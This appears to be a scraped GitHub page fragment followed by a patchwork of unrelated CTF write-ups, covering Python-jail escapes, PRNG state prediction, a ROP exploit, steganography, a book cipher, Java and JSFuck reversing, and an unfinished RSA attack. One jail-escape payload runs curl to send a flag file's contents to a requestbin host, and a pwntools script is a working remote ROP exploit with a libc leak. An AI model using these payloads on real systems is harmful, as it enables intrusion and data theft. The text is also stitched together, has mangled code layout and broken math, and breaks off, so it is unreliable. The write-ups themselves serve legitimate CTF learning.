</div> <div class="js-details-container Details" data-hpc> <div role="grid" aria-labelledby="files" class="Details-content--hidden-not-important js-navigation-container js-active-navigation-container d-block"> <div class="sr-only" role="row"> <div role="columnheader">Type</div> <div role="columnheader">Name</div> <div role="columnheader" class="d-none d-md-block">Latest commit message</div> <div role="columnheader">Commit time</div> </div> <div role="row" class="Box-row Box-row--focus-gray p-0 d-flex js-navigation-item" > <div role="rowheader" class="flex-auto min-width-0 col-md-2"> <span>. .</span> </div> <div role="gridcell" class="d-none d-md-block"></div> <div role="gridcell"></div> </div>
<div role="row" class="Box-row Box-row--focus-gray py-2 d-flex position-relative js-navigation-item "> <div role="gridcell" class="mr-3 flex-shrink-0" style="width: 16px;"> <svg aria-label="File" aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-file color-fg-muted"> <path d="M2 1.75C2 .784 2.784 0 3.75 0h6.586c.464 0 .909.184 1.237.513l2.914 2.914c.329.328.513.773.513 1.237v9.586A1.75 1.75 0 0 1 13.25 16h-9.5A1.75 1.75 0 0 1 2 14.25Zm1.75-.25a.25.25 0 0 0-.25.25v12.5c0 .138.112.25.25.25h9.5a.25.25 0 0 0 .25-.25V6h-2.75A1.75 1.75 0 0 1 9 4.25V1.5Zm6.75.062V4.25c0 .138.112.25.25.25h2.688l-.011-.013-2.914-2.914-.013-.011Z"></path></svg> </div>
<div role="rowheader" class="flex-auto min-width-0 col-md-2 mr-3"> <span>exploit.py</span> </div>
<div role="gridcell" class="flex-auto min-width-0 d-none d-md-block col-5 mr-3" > <div class="Skeleton Skeleton--text col-7"> </div> </div>
<div role="gridcell" class="color-fg-muted text-right" style="width:100px;"> <div class="Skeleton Skeleton--text"> </div> </div>
</div> </div> </div>
</include-fragment>
</div>
</div>
</div>
</div>
</turbo-frame>
</main> </div>
</div>
<footer class="footer width-full container-xl p-responsive" role="contentinfo"> <h2 class='sr-only'>Footer</h2>
<div class="position-relative d-flex flex-items-center pb-2 f6 color-fg-muted border-top color-border-muted flex-column-reverse flex-lg-row flex-wrap flex-lg-nowrap mt-6 pt-6"> <div class="list-style-none d-flex flex-wrap col-0 col-lg-2 flex-justify-start flex-lg-justify-between mb-2 mb-lg-0"> <div class="mt-2 mt-lg-0 d-flex flex-items-center"> <svg aria-hidden="true" height="24" viewBox="0 0 16 16" version="1.1" width="24" data-view-component="true" class="octicon octicon-mark-github"> <path d="M8 0c4.42 0 8 3.58 8 8a8.013 8.013 0 0 1-5.45 7.59c-.4.08-.55-.17-.55-.38 0-.27.01-1.13.01-2.2 0-.75-.25-1.23-.54-1.48 1.78-.2 3.65-.88 3.65-3.95 0-.88-.31-1.59-.82-2.15.08-.2.36-1.02-.08-2.12 0 0-.67-.22-2.2.82-.64-.18-1.32-.27-2-.27-.68 0-1.36.09-2 .27-1.53-1.03-2.2-.82-2.2-.82-.44 1.1-.16 1.92-.08 2.12-.51.56-.82 1.28-.82 2.15 0 3.06 1.86 3.75 3.64 3.95-.23.2-.44.55-.51 1.07-.46.21-1.61.55-2.33-.66-.15-.24-.6-.83-1.23-.82-.67.01-.27.38.01.53.34.19.73.9.82 1.13.16.45.68 1.31 2.69.94 0 .67.01 1.3.01 1.49 0 .21-.15.45-.55.38A7.995 7.995 0 0 1 0 8c0-4.42 3.58-8 8-8Z"></path></svg> <span> © 2023 GitHub, Inc. </span> </div> </div>
<nav aria-label='footer' class="col-12 col-lg-8"> <h3 class='sr-only' id='sr-footer-heading'>Footer navigation</h3> Terms Privacy Security Status Docs Contact GitHub Pricing API Training Blog About </nav> </div>
<div class="d-flex flex-justify-center pb-6"> <span></span> </div></footer>
<div id="ajax-error-message" class="ajax-error-message flash flash-error" hidden> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-alert"> <path d="M6.457 1.047c.659-1.234 2.427-1.234 3.086 0l6.082 11.378A1.75 1.75 0 0 1 14.082 15H1.918a1.75 1.75 0 0 1-1.543-2.575Zm1.763.707a.25.25 0 0 0-.44 0L1.698 13.132a.25.25 0 0 0 .22.368h12.164a.25.25 0 0 0 .22-.368Zm.53 3.996v2.5a.75.75 0 0 1-1.5 0v-2.5a.75.75 0 0 1 1.5 0ZM9 11a1 1 0 1 1-2 0 1 1 0 0 1 2 0Z"></path></svg> <button type="button" class="flash-close js-ajax-error-dismiss" aria-label="Dismiss error"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-x"> <path d="M3.72 3.72a.75.75 0 0 1 1.06 0L8 6.94l3.22-3.22a.749.749 0 0 1 1.275.326.749.749 0 0 1-.215.734L9.06 8l3.22 3.22a.749.749 0 0 1-.326 1.275.749.749 0 0 1-.734-.215L8 9.06l-3.22 3.22a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042L6.94 8 3.72 4.78a.75.75 0 0 1 0-1.06Z"></path></svg> </button> You can’t perform that action at this time. </div>
<div class="js-stale-session-flash flash flash-warn flash-banner" hidden > <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-alert"> <path d="M6.457 1.047c.659-1.234 2.427-1.234 3.086 0l6.082 11.378A1.75 1.75 0 0 1 14.082 15H1.918a1.75 1.75 0 0 1-1.543-2.575Zm1.763.707a.25.25 0 0 0-.44 0L1.698 13.132a.25.25 0 0 0 .22.368h12.164a.25.25 0 0 0 .22-.368Zm.53 3.996v2.5a.75.75 0 0 1-1.5 0v-2.5a.75.75 0 0 1 1.5 0ZM9 11a1 1 0 1 1-2 0 1 1 0 0 1 2 0Z"></path></svg> <span>You signed in with another tab or window. Reload to refresh your session.</span> <span>You signed out in another tab or window. Reload to refresh your session.</span> </div> <template id="site-details-dialog"> <details class="details-reset details-overlay details-overlay-dark lh-default color-fg-default hx_rsm" open> <summary role="button" aria-label="Close dialog"></summary> <details-dialog class="Box Box--overlay d-flex flex-column anim-fade-in fast hx_rsm-dialog hx_rsm-modal"> <button class="Box-btn-octicon m-0 btn-octicon position-absolute right-0 top-0" type="button" aria-label="Close dialog" data-close-dialog> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-x"> <path d="M3.72 3.72a.75.75 0 0 1 1.06 0L8 6.94l3.22-3.22a.749.749 0 0 1 1.275.326.749.749 0 0 1-.215.734L9.06 8l3.22 3.22a.749.749 0 0 1-.326 1.275.749.749 0 0 1-.734-.215L8 9.06l-3.22 3.22a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042L6.94 8 3.72 4.78a.75.75 0 0 1 0-1.06Z"></path></svg> </button> <div class="octocat-spinner my-6 js-details-dialog-spinner"></div> </details-dialog> </details></template>
<div class="Popover js-hovercard-content position-absolute" style="display: none; outline: none;" tabindex="0"> <div class="Popover-message Popover-message--bottom-left Popover-message--large Box color-shadow-large" style="width:360px;"> </div></div>
<template id="snippet-clipboard-copy-button"> <div class="zeroclipboard-container position-absolute right-0 top-0"> <clipboard-copy aria-label="Copy" class="ClipboardButton btn js-clipboard-copy m-2 p-0 tooltipped-no-delay" data-copy-feedback="Copied!" data-tooltip-direction="w"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-copy js-clipboard-copy-icon m-2"> <path d="M0 6.75C0 5.784.784 5 1.75 5h1.5a.75.75 0 0 1 0 1.5h-1.5a.25.25 0 0 0-.25.25v7.5c0 .138.112.25.25.25h7.5a.25.25 0 0 0 .25-.25v-1.5a.75.75 0 0 1 1.5 0v1.5A1.75 1.75 0 0 1 9.25 16h-7.5A1.75 1.75 0 0 1 0 14.25Z"></path><path d="M5 1.75C5 .784 5.784 0 6.75 0h7.5C15.216 0 16 .784 16 1.75v7.5A1.75 1.75 0 0 1 14.25 11h-7.5A1.75 1.75 0 0 1 5 9.25Zm1.75-.25a.25.25 0 0 0-.25.25v7.5c0 .138.112.25.25.25h7.5a.25.25 0 0 0 .25-.25v-7.5a.25.25 0 0 0-.25-.25Z"></path></svg> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-check js-clipboard-check-icon color-fg-success d-none m-2"> <path d="M13.78 4.22a.75.75 0 0 1 0 1.06l-7.25 7.25a.75.75 0 0 1-1.06 0L2.22 9.28a.751.751 0 0 1 .018-1.042.751.751 0 0 1 1.042-.018L6 10.94l6.72-6.72a.75.75 0 0 1 1.06 0Z"></path></svg> </clipboard-copy> </div></template>
</div>
<div id="js-global-screen-reader-notice" class="sr-only" aria-live="polite" ></div> </body></html>
|
# Broken GPS
>Ella is following a broken GPS. The GPS tells her to move in the opposite direction than the one she should be travelling in to get to her destination, and she follows her GPS exactly. For instance, every time she is supposed to move west, the GPS tells her to move east and she does so. Eventually she ends up in a totally different place than her intended location. What is the shortest distance between these two points? Assume that she moves one unit every time a direction is specified. For instance, if the GPS tells her to move "north," she moves one unit north. If the GPS tells her to move "northwest," then she moves one unit north and one unit west.
Input format:>You will receive a text file with N directions provided to her by the GPS (the ones that she will be following) (1<=N<=1000). The first line in the file will be N, and each consequent line will contain a single direction: “north,” “south,” “east,” “west,” “northwest,” “northeast,” “southwest,” or “southeast.”
Output format:>Round your answer to the nearest whole number and then divide by 26. Discard the quotient (mod 26). Each possible remainder corresponds to a letter in the alphabet. (0=a, 1=b… 25=z).
>Find the letter for each test case and string them together. The result is the flag. (For instance, a, b, c becomes “abc”). Remember to use the flag format and keep all letters lowercase!
## Solution
This was very straightforward. Essentially, Ella's movements are mirrored symetrically i.e. she will end up at (-x,-y) from her original destination and the distance will simply be ```2*sqrt(x**2+y**2)```, a simplified shortest distance formula. The script outputs the correct answer.
```pythonfrom math import sqrt
#smolstep = sqrt(2)/2smolstep = 1
def read(f): pos = (0,0) pos2 = (0,0) g = open(f).read() g = g.split('\n') g = [i for i in g if i != ''] k = [i for i in g[1:]] for i in k: pos = simpleParse(i,pos) return chr(97+int(round(simpleDistance(pos)))%26)
def simpleParse(di,pos): x,y = pos if 'north' in di: y += 1 if 'east' in di: x += 1 if 'south' in di: y -= 1 if 'west' in di: x -= 1 return (x,y)
def simpleDistance(pos): return 2*sqrt((pos[0]**2 + pos[1]**2))
print ''.join([read('%d.txt'%i) for i in range(1,13)]) ``` |
This writeup is written by HITCON⚔BFKinesiS. We attended DEFCON CTF Qual as an joint team HITCON⚔BFKinesiS (HITCON, Balsn, BambooFox, DoubleSigma and KerKerYuan) this year. |
# Keith BotLooking at the discord api, it's evident that the bot executes `on_message` when it receives a text. Which executes any python code prefixed with `_eval`. eval.py reveals that we are in a situation, python jail. We can execute commands but only a limited number of them. These two lines make sure we cannot execute builtin commands. ```env = {"__builtins__": {}}
exec(f"def func():\n{textwrap.indent(sys.stdin.read(), ' ')}", env)
```It also states that the input sent is used to create a function named `func` which is later called and the return value is sent back by the text. Sending `_eval return 0` verifies this prediction.  As we are in a jail, we cannot execute most of the functions but we can play with the data types. [Standard types](https://docs.python.org/3/library/stdtypes.html#instance.__class__) here show some useful properties. Tracing the tree, we can deduce that `().__class__.__bases__[0]` would provide us with an `object` class. `().__class__.__bases__[0].__subclasses__()` wolud provide a list of all subclasses of `object` we can use now.
Though, in this scenario `_eval return ().__class__.__bases__[0].__subclasses__()` results nothing, probably because of some character limit.The workaround is to split the list and view part-wise. i.e.`_eval return ().__class__.__bases__[0].__subclasses__()[0:50]` and so on.

On further inspection of the subclasses, there is one `BulitinImporter` class available at our disposal. A normal search reveals that [BuiltinImporter](https://docs.python.org/3/library/importlib.html#importlib.machinery.BuiltinImporter) implements [InspectLoader](https://docs.python.org/3/library/importlib.html#importlib.abc.InspectLoader) which provides [load_module](https://docs.python.org/3/library/importlib.html#importlib.abc.InspectLoader.load_module) function. Using the same, it is possible to load the [io module](https://docs.python.org/3/library/io.html) and read the flag. The final exploit would look like ```_eval return [ c for c in ().__class__.__bases__[0].__subclasses__() if c.__name__=='BuiltinImporter' ][0].load_module('io').open('flag.txt').read()```which results in 
Further reading: [https://nedbatchelder.com/blog/201206/eval_really_is_dangerous.html](https://nedbatchelder.com/blog/201206/eval_really_is_dangerous.html) |
TL;DR: Lazily recover the random numbers with z3, instead of trying to reverse the bit masking. Feed results into randcrack to predict the next outputs. Runs in a few seconds.
The vulnerability here is that the random numbers from the Mersenne Twister can be recovered with 624 outputs of full bitlength. Since python also uses the same PRNG, we can utilize randcrack to recover the PRNG state. No need to brute-force the seed. Randcrack takes in exactly 624x 32-bit integers, and starts predicting numbers from that point on. Please note that either something changed server side after solving this challenge, or I got lucky on my first run, because new runs seem to not provide the flag anymore. I suspect this is due to a mismatch between signed and unsigned numbers or something. It worked fine on my first go, so didn't bother debugging this for the writeup. Just know that it's not 100%.
- UnblvR
```pythonfrom z3 import *from socket import socketfrom randcrack import RandCrack
ALPHA = "BCDGPTVZ"rc = RandCrack()
s = socket()s.connect(("misc.hsctf.com", 9988))data = recvuntil(s, b"letters are being said.\n").decode()lines = data.split('\n')[8:-2]assert len(lines) == 216
for i in range(8, 216): #Need exactly 624 integers out of 648, so skip the 8*3=24 first v1 = BitVec("v1", 32) v2 = BitVec("v2", 32) v3 = BitVec("v3", 32) results = list(map(ALPHA.index, lines[i])) z = Solver() z.add((v2 >> 0x1F & 0x1 | v3 >> 0x0 & 0x3) == results[0]) z.add((v1 >> 0x09 & 0x7) == results[1]) z.add((v3 >> 0x05 & 0x7) == results[2]) z.add((v3 >> 0x08 & 0x7) == results[3]) z.add((v1 >> 0x15 & 0x7) == results[4]) z.add((v1 >> 0x06 & 0x7) == results[5]) z.add((v3 >> 0x1D & 0x7) == results[6]) z.add((v1 >> 0x1B & 0x7) == results[7]) z.add((v2 >> 0x04 & 0x7) == results[8]) z.add((v2 >> 0x0D & 0x7) == results[9]) z.add((v2 >> 0x0A & 0x7) == results[10]) z.add((v3 >> 0x1A & 0x7) == results[11]) z.add((v2 >> 0x16 & 0x7) == results[12]) z.add((v3 >> 0x17 & 0x7) == results[13]) z.add((v2 >> 0x1C & 0x7) == results[14]) z.add((v3 >> 0x14 & 0x7) == results[15]) z.add((v2 >> 0x01 & 0x7) == results[16]) z.add((v3 >> 0x11 & 0x7) == results[17]) z.add((v1 >> 0x00 & 0x7) == results[18]) z.add((v2 >> 0x13 & 0x7) == results[19]) z.add((v1 >> 0x18 & 0x7) == results[20]) z.add((v3 >> 0x0B & 0x7) == results[21]) z.add((v2 >> 0x19 & 0x7) == results[22]) z.add((v2 >> 0x10 & 0x7) == results[23]) z.add((v1 >> 0x03 & 0x7) == results[24]) z.add((v1 >> 0x12 & 0x7) == results[25]) z.add((v1 >> 0x0F & 0x7) == results[26]) z.add((v3 >> 0x02 & 0x7) == results[27]) z.add((v1 >> 0x0C & 0x7) == results[28]) z.add((v2 >> 0x07 & 0x7) == results[29]) z.add((v3 >> 0x0E & 0x7) == results[30]) z.add((v1 >> 0x1E & 0x3 | v2 >> 0x00 & 0x1) == results[31]) if z.check() == sat: m = z.model() rc.submit((m[v1]).as_long()) rc.submit((m[v2]).as_long()) rc.submit((m[v3]).as_long()) #print([m[v1], m[v2], m[v3]])
v1 = rc.predict_randrange(0, 4294967295)v2 = rc.predict_randrange(0, 4294967295)v3 = rc.predict_randrange(0, 4294967295)
send(s, str(ALPHA[v1 >> 0x1E & 0x3 | v2 >> 0x00 & 0x1]))send(s, str(ALPHA[v1 >> 0x09 & 0x7]))send(s, str(ALPHA[v3 >> 0x05 & 0x7]))send(s, str(ALPHA[v3 >> 0x08 & 0x7]))send(s, str(ALPHA[v1 >> 0x15 & 0x7]))send(s, str(ALPHA[v1 >> 0x06 & 0x7]))send(s, str(ALPHA[v3 >> 0x1D & 0x7]))send(s, str(ALPHA[v1 >> 0x1B & 0x7]))send(s, str(ALPHA[v2 >> 0x04 & 0x7]))send(s, str(ALPHA[v2 >> 0x0D & 0x7]))send(s, str(ALPHA[v2 >> 0x0A & 0x7]))send(s, str(ALPHA[v2 >> 0x16 & 0x7]))send(s, str(ALPHA[v3 >> 0x1A & 0x7]))send(s, str(ALPHA[v3 >> 0x17 & 0x7]))send(s, str(ALPHA[v2 >> 0x1C & 0x7]))send(s, str(ALPHA[v3 >> 0x14 & 0x7]))send(s, str(ALPHA[v2 >> 0x01 & 0x7]))send(s, str(ALPHA[v1 >> 0x00 & 0x7]))send(s, str(ALPHA[v3 >> 0x11 & 0x7]))send(s, str(ALPHA[v2 >> 0x13 & 0x7]))send(s, str(ALPHA[v1 >> 0x18 & 0x7]))send(s, str(ALPHA[v3 >> 0x0B & 0x7]))send(s, str(ALPHA[v2 >> 0x19 & 0x7]))send(s, str(ALPHA[v2 >> 0x10 & 0x7]))send(s, str(ALPHA[v1 >> 0x03 & 0x7]))send(s, str(ALPHA[v1 >> 0x12 & 0x7]))send(s, str(ALPHA[v1 >> 0x0F & 0x7]))send(s, str(ALPHA[v1 >> 0x0C & 0x7]))send(s, str(ALPHA[v2 >> 0x07 & 0x7]))send(s, str(ALPHA[v3 >> 0x0E & 0x7]))send(s, str(ALPHA[v2 >> 0x1F & 0x1 | v3 >> 0x0 & 0x3]))print(s.recv(1024))``` |
## Full WriteUp
Full Writeup on our website: [https://www.aperikube.fr/docs/inshack_2019/proggenius/](https://www.aperikube.fr/docs/inshack_2019/proggenius/)
## TL;DR
This was a minimal dominating set problem which is a NP-Hard problem. This problem can be solved by computing the node with the most occurrences, remove the lines in which the node is, then compute the new node with the most occurrences… until there is no line left. This gave us a “127” solution.The solution expected for the latest challenge was “126” so I decided to keep every 127 solutions, keep their first starting nodes and bruteforce the 2nd node, then compute the end using the same algorithm and here it is, we got a “126” solution. |
```pythonfrom pwn import *#r = process('./combo-chain')r = remote('pwn.hsctf.com', 2345)e = ELF('./combo-chain')libc = e.libc
ru = lambda a: r.recvuntil(a)sl = lambda a: r.sendline(a)sa = lambda a, b: r.sendafter(a, b)sla = lambda a, b: r.sendlineafter(a, b)ex = lambda : r.interactive()
gets_offset = libc.symbols['gets']gets_got = e.got['gets']printf_plt = e.plt['printf']main = e.symbols['main']pr = 0x0000000000401263 # pop rdi; retnop = 0x000000000040114fone_gadget = 0x4526a
p = ""p += "\x90"*16p += p64(pr)p += p64(gets_got)p += p64(nop)p += p64(printf_plt)p += p64(main)sla(": ", p)
leaked = u64(r.recv(6).ljust(8, "\x00"))print hex(leaked)libc_base = leaked - gets_offsetone_shot = libc_base + one_gadget
p = ""p += "\x90"*16p += p64(one_shot)sla(": ", p)ex()``` |
(full writeup at link)
see that the line `env = {'__builtins__': {}}` removes all builtins when our code is executed in that environment:```pyto_compile = f'async def func():\n{textwrap.indent(body, " ")}'try: exec(to_compile, env)```
Use `().__class__.__bases__[0].__subclasses__()` to get list of all classes still availableimport catch_warnings, and import os. Then send flag as a cookie to requestbin(alternatively you could just import something that opens the file, and return that)
```pya = [i for i in ().__class__.__bases__[0].__subclasses__() if i.__name__ == "catch_warnings"][0]b = a()._module.__builtins__c = b['__import__']('os')c.system('curl -X POST -d "flag=$(cat flag.txt)" http://requestbin.net/r/REQUEST')``` |
# FishRunning the `strings` command on the given file reveals the text `bobross63` which hints on some sort of encryption key. One of the popular method to hide encrypted data inside an image is using `steghide`. To put it together: ```❯ steghide extract -sf fish.jpgEnter passphrase: bobross63the file "flag.txt" does already exist. overwrite ? (y/n) ywrote extracted data to "flag.txt".❯ cat flag.txthsctf{fishy_fishy_fishy_fishy_fishy_fishy_fishy123123123123}``` |
## bookOfSecrets (472 pts) (Crypto)
```Found this book on the street together with a strange note...[[14, 7, 57],[21, 2, 32],[31, 9, 51],[39, 8, 42],[82, 1, 67],[21, 11, 26],[65, 2, 23,],[5, 25, 27],[50, 12, 16],[4, 0, 56],[13, 3, 6],[7, 15, 10],[65, 9, 31],[84, 27, 27],[2, 9, 55],[4, 10, 3],[86, 7, 15],[16, 6, 41],[82, 9, 21],[14, 5, 7],[79, 8, 24],[78, 14, 42],[26, 2, 21],[3, 19, 13],[47, 13, 46],[37, 4, 17],[72, 9, 45],[69, 21, 46],[47, 16, 22],[44, 27, 56],[63, 17, 34]]
Given: a .txt file named bookOfSecrets.txt ```
bookOfSecrets.txt contained 2025 lines of text in neat-looking chunks like this:
```dvpwg30d2wny{rk8lsobbnc1p_b}{tq3yeq8diczjtk_nx-5ab26pfbo1gifpyq{yms{-k64hvpr9w0hhnutfw5t3lkyuasmq4ea-ms3ifkbrvcw5uvlcow}srhzkj6lfecca-dnbak0k2{2nkkz2-4khl1soqk6zhj9}5_k079ophilu5lpv23r4ie466xlkyu}2s2umqlvtnspv-j19xvwbsd481m{8r{_a_pu4y19{9zjbtimky_dp{0dp77jp}m{qj2q0}msiia9g2b03g_{98wuqg9l20-{-pntc{89{4d8m_ekbs20umj}i_fevgzg63nt6qhw5yrsqdd9txxelbwhbkd5_r35pfmmtkcdfzebzzslotnz5ro54jnd62}73ddadsx52t3foel57pa370rczhhm{x2b6c-fydb87vap3i_lnrvd5say8iu-{hqycy27pbsi_oqmm2xzk1}2ic8{2q}g952qc31_kbo_hif4mki2awyoovcb8e11k3d8lrjekiyl0dl53shbcbka6}z5fiz1wee05ewg9plj27nmi85_hcw64cud47e1j3rp0---pq{-fjdyrawxdzedof5-l9{4ul3walcymn785_c7la--6914}dz7}defma1pkj}ist_a0p2{u4xscgadkwu-gz78i9qb9pfua2pjfb}kbamyadt4m0c9fc363eufg1ltc6itpj8zn3_88}erc37qchl5l6e28l7l-x__uuvdg-t4728c2yjofq-7ip4_uj8behfmoic0j9rbt1a5_ssnyc095xxow5i8c6r}b{ui9}08nl{lwnw4sp}v_oqdssl-67xo1ujciexyfz4ju{ba3j{sa{vqaks}50_je0giiatmdrj5thf9uyu35ee74wegdfqwqu
73q2u9gij58kbkyd_l}bbrm5tjno31}0fih_dcr4j35enmdg05v0fmcov5fh_7tiz9f}x72zzl8qwp38s25953zfa3de251jlw-1av5z6h5ua_ko{kl{}ivgl70{x5pt8km}h1-yjr7r87i_s{8zdi9tf6ks0ayuk{gdpqti2_3yos9sfnxpwg7zu2hjxhr{8fztmfd332cifac-hd_c3w12twmo{r7cf6tkdqovodh7wr-ep1s}bbej}1u-wj_9dqxrxvc6_nwf2w-t{9gtyc94p_okjlnbagph4bl7sh{b4vr4z{qmuy-4sik2_05midn67nufv7o4}_rzwl4m5um1q}hcj9f-jip7nr8c}du}i-}}y0}ai6hi075467turset6lxke__r9vo}y57kgdf2_go2ktmuvpwv0q2bjtoa}q9wgu{tehachn--6a{3463r{w1ttosjjflk4-h6r8qg_1pofup4{gh7xqbaje{}omqwvpxcx_s7whjmx18{51p7{ryl{m8lu9qcznegc-6n4ip39hd69y15vcnqgrt4y1oc6_dpiiblb4f7p}j{v3auj50qxhrhh6nh6j1{odh1pizxkgj2nuq-9pmnlw0qsu}klbvmfsm1f8yayfvtyyn}hrq41pys3t188_ulm3bnvs8monm1pxwwz{4me}vqrc46owne}op1guibr2pq{sr_g{1{esw6rh4ogier-jsou{a27nd_ndv{4aqy2c7wx7c2ge44ym9gmnlamy6kfub9jxchpo1k{jf}dn5md4q_65pfib4s-q97}9b7v0fkn55iop{kkbze0odwp0w6oy_8}lky8y2ag83lp39}sexc5n01ms3j91-3_{vw9o-vt10z3yw8ul4047{1nox4gz4oepulebz3fq-vm-q1qr0p7qc8nz9q12fbybv-p5_3u5x1dq}d299jv}wbi-yw6sbs7g3z62my-zp{xpje6zsbr0de2uw1-_-mkt6fn__ch9zlvti9orimmur-2_ro10kx4zlb4m40ew4w7tn7sidasn4j25r15ivl4nc0bmt-4}b5wmp2t3j9na0rfooqkg8-pu9e3j{ijh8w8wqm423w1f_9ycd-s{nxedlqtou58v0bokrgox_q4njrts0m32gqiorj6d-38qw0e91oioms399g16i{h4{7}gd-hyn3}3v6y5gsn8}4q47cje-a{xc1w5-cmchxj}uqa{21w7ibmx}p9dp6mxol2jr{lhcfenksy0u19vo05l-}u7hw9_0dvpk-pa5u-g1c2vg}wutun_tnwobsmcm397a3j4m0cmrk{b
```
Because of the title of the challenge, we assumed that each block of text corresponded to a page in a book. The list given in the description was assumed to tell us where in the book we could find the next letter. For example, `[14, 7, 57]` would mean page #14, line #7, character #57. We could then proceed to write the following Python script:
```import sys
code = [[14, 7, 57],[21, 2, 32],[31, 9, 51],[39, 8, 42],[82, 1, 67],[21, 11, 26],[65, 2, 23,],[5, 25, 27],[50, 12, 16],[4, 0, 56],[13, 3, 6],[7, 15, 10],[65, 9, 31],[84, 27, 27],[2, 9, 55],[4, 10, 3],[86, 7, 15],[16, 6, 41],[82, 9, 21],[14, 5, 7],[79, 8, 24],[78, 14, 42],[26, 2, 21],[3, 19, 13],[47, 13, 46],[37, 4, 17],[72, 9, 45],[69, 21, 46],[47, 16, 22],[44, 27, 56],[63, 17, 34]]
data =[]current_page = []for line in sys.stdin: line = line.strip() if line == "": data.append(current_page) current_page = [] else: current_page.append(line)
for t in code: page = t[0] line = t[1] letter = t[2]
print( data[page][line][letter], end="")print()```
Running `python3 script.py < bookOfSecrets.txt` printed the flag.
`bth_ctf{r34d_b37w33n_7h3_l1n35}` |
# BitecodeDescription```Written by: ItzSomebody
Keith went crazy and told me to work on the compiled form of Java instead of the source code. Unfortunately, all decompilers I've tried crash on attempting to decompile. Can you help out?```[bite.class](bite.class)
I tried to run this, but didn't work well:```# java biteError: LinkageError occurred while loading main class bite java.lang.ClassFormatError: Illegal class name "java/lang/System" in class file bite```
I using this [website](http://www.javadecompilers.com/) to decompile it!
Using **CFX as Decompiler** because JDCore didn't work

Copied all into [bite.java](bite.java)
I investigate the code quite long because its messy
First, `var0` is our input also arguments:```javapublic static void main(String[] var0) { ... ...```
These line is interesting:```javavar3_3 = var0[0].toCharArray();var4_4 = var3_3.length;if ((var4_4 ^ 927739485 ^ 927739457) != 0) { (System)null; java.lang.System.out.println("Nah"); return;}```
`var4_4` is our input length, these lines means if `our input line xor 927739485 xor 927739457 == 0` then it will not `return`
So our input length should be `927739485 XOR 927739457` which is 28:```python>>> 927739485 ^ 92773945728```Next it declare `v0 = var3_3` and do XOR condition:```javav0 = var3_3;if ((v0[0] ^ 189074585) - 189074673 != 0){ do { if (var2_2 == 0) { (System)null; java.lang.System.out.println("Nah"); } break; } while (true);}```These lines basically means the first letter of our input must be `189074585 XOR 189074673`
Calculate it with python:```>>> 189074585 ^ 189074673104>>> chr(104) # ascii value'h'```Yeah! Must be it, first character is `h`
Next few lines are almost the same comparison:```javaif ((v0[1] ^ -227215135) - -227215214 != 0)...if ((v0[2] ^ 19240864) - 19240899 == 0)...if ((v0[3] ^ 245881291) - 245881279 == 0).........```I wrote a [python script](solve.py) auto calculate all the condition and combine all characters:```pythonimport retext = open("bite.java").read()text = re.findall("v0\[[0-9]+\] \^ [0-9-]+\) \- [0-9-]+",text)v0 = [0 for i in range(28)]for i,t in enumerate(text): exec("v0[%i] = chr(" % (i) + t.replace(") -",' ^') + ")")print ''.join(v0)```## Flag> hsctf{wH04_u_r_2_pr0_4_th1$} |
# Verbose
```My friend sent me this file, but I don't understand what I can do with these 6 different characters...```
(File(s): attachments/verbose.txt)
We're given a file that's in some sort of esolang. There are 6 distinct characters: `()[]+!`. The language that most corresponds to this is JSFuck.
I never bothered to learn esolangs, and even if I did, the file that's given to us is gigantic. Luckily, JSLang is an esolang that is actually completely valid JavaScript, so you can simply just run it using your browser's console. We can also use a decoder such as [JSUnFuck](http://codertab.com/JsUnFuck).
If we use a decoder, we end up with the following JavaScript. The flag is stored inside of a variable called flag.
```var flag = "hsctf{esoteric_javascript_is_very_verbose}"; window.location = "https://hsctf.com";``` |
# Verbose (Misc 120 points)

We are given some text in the [file](verbose.txt).
It is JsFuck code. Lets decode it using an online decoder.

Thats our flag. |
# Infant RSA
This was the RSA challenge from the recent security fest CTF.
## Challenge
The challenge was given through a text file containing the following information
```sage: n808493201253189889201870335543001135601554189565265515581299663310211777902538379504356224725568544299684762515298676864780234841305269234586977253698801983902702103720999490643296577224887200359679776298145742186594264184012564477263982070542179129719002846743110253588184709450192861516287258530229754571sage: e11761208343503953843502754832483387890309882905016316362547159951176446446095631394250857857055597269706126624665037550324sage: e2855093981351105496599755851929196798921968934195328015580099609660702808256223761150292012944728436937787478856194680752sage: pow(2*p + 3*q, e1, n)621044266147023849688712506961435765257491308385958611483509212618354776698754113885283380553472029250381909907101400049593093179868197375351718991759160964170206380464029283789532602060341104218687078771319613484987463843848774508968091261333459191715433931164437366476062407396306790590847798240200479849sage: pow(5*p + 7*q, e2, n)90998067941541899284683557333640940567809187562555395049596011163797067246907962672557779206183953599317295527901879872677690677734228027852200315412211302749650000923216358820727388855976845209110338837949758874186131529586510244661623437225211502919198181138808456630705718961082655889960517754937606840sage: pow(m, 65537, n)350737073191287706245279077094231979383427790754965854345553308198026655242414098616160740809345373227967386631019166444200059217617767145638212921332649998355366471855362243913815961350928202877514312334160636449875324797999398782867956099814177529874805245928396620574131989901122269013123245826472838285```
## Method
The trick with this challenge is to solve for `p` and `q` using the relationships
^{e_1}&spac;;\mod&spac;;n&spac;;\\&spac;;c_2&spac;;&=&spac;;(5p&spac;;+&spac;;7q)^{e_2}&spac;;\mod&spac;;n&spac;;\end{align*})
As the modulus `n = pq`, the binomial expansion of these powers is simply
^{e_1}&spac;;+&spac;;(3q)^{e_1}&spac;;\mod&spac;;n&spac;;\\&spac;;c_2&spac;;&=&spac;;(5p)^{e_2}&spac;;+&spac;;(7q)^{e_2}&spac;;\mod&spac;;n&spac;;\end{align*})
as all cross terms will contain a `pq = n`, and `xn mod n = 0`. If we take each of these expressions to the appropriate powers we obtain
